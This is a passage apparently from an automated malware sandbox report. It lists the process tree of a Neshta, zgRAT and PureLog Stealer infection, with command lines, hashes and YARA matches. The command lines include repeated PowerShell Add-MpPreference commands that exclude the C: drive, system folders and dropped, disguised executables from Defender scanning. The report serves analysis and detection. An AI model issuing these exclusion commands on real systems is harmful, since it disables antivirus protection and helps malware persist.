                                                                  Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF5B1.tmp" "c:\Windows\System32\CSC8B0546412F3A4425A5D7AA169F4D63A4.TMP"
                                                                  Imagebase:0x7ff6333f0000
                                                                  File size:52'744 bytes
                                                                  MD5 hash:C877CBB966EA5939AA2A17B6A5160950
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:6
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:7
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:8
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0xb40000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:9
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:10
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:11
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:12
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:13
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:14
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:15
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:16
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:17
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:18
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:19
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:20
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:21
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:22
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:23
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:24
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:25
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:26
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:27
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\SearchIndexer.exe'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:28
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:29
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:30
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:31
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:32
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:33
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:34
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:35
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe'
                                                                  Imagebase:0x7ff788560000
                                                                  File size:452'608 bytes
                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:36
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:37
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:38
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:39
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:40
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:41
                                                                  Start time:07:10:12
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:42
                                                                  Start time:07:10:12
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\cmd.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3vTESgZFSf.bat"
                                                                  Imagebase:0x7ff7e1200000
                                                                  File size:289'792 bytes
                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:43
                                                                  Start time:07:10:13
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:44
                                                                  Start time:07:10:16
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\chcp.com
                                                                  Wow64 process (32bit):false
                                                                  Commandline:chcp 65001
                                                                  Imagebase:0x7ff7e3db0000
                                                                  File size:14'848 bytes
                                                                  MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:46
                                                                  Start time:07:10:20
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\w32tm.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                                                  Imagebase:0x7ff7758a0000
                                                                  File size:108'032 bytes
                                                                  MD5 hash:81A82132737224D324A3E8DA993E2FB5
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:49
                                                                  Start time:07:10:24
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\svchost.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE"
                                                                  Imagebase:0x400000
                                                                  File size:41'472 bytes
                                                                  MD5 hash:36FD5E09C417C767A952B4609D73A54B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Windows\svchost.com, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Windows\svchost.com, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Windows\svchost.com, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Windows\svchost.com, Author: ditekSHen
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:50
                                                                  Start time:07:10:25
                                                                  Start date:13/01/2025
                                                                  Path:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE
                                                                  Imagebase:0xfc0000
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: ditekSHen
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:51
                                                                  Start time:07:10:28
                                                                  Start date:13/01/2025
                                                                  Path:C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe"
                                                                  Imagebase:0xe80000
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:52
                                                                  Start time:07:10:37
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\svchost.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\svchost.com" "C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE"
                                                                  Imagebase:0x400000
                                                                  File size:41'472 bytes
                                                                  MD5 hash:36FD5E09C417C767A952B4609D73A54B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: 00000034.00000002.2186722542.0000000000409000.00000004.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:53
                                                                  Start time:07:10:37
                                                                  Start date:13/01/2025
                                                                  Path:C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE
                                                                  Imagebase:0xc80000
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, Author: Joe Security
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:54
                                                                  Start time:07:10:39
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                  Imagebase:0x7ff693ab0000
                                                                  File size:496'640 bytes
                                                                  MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:55
                                                                  Start time:07:10:48
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\svchost.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE"
                                                                  Imagebase:0x400000
                                                                  File size:41'472 bytes
                                                                  MD5 hash:36FD5E09C417C767A952B4609D73A54B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:56
                                                                  Start time:07:10:48
                                                                  Start date:13/01/2025
                                                                  Path:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE
                                                                  Imagebase:0xf60000
                                                                  File size:3'704'832 bytes
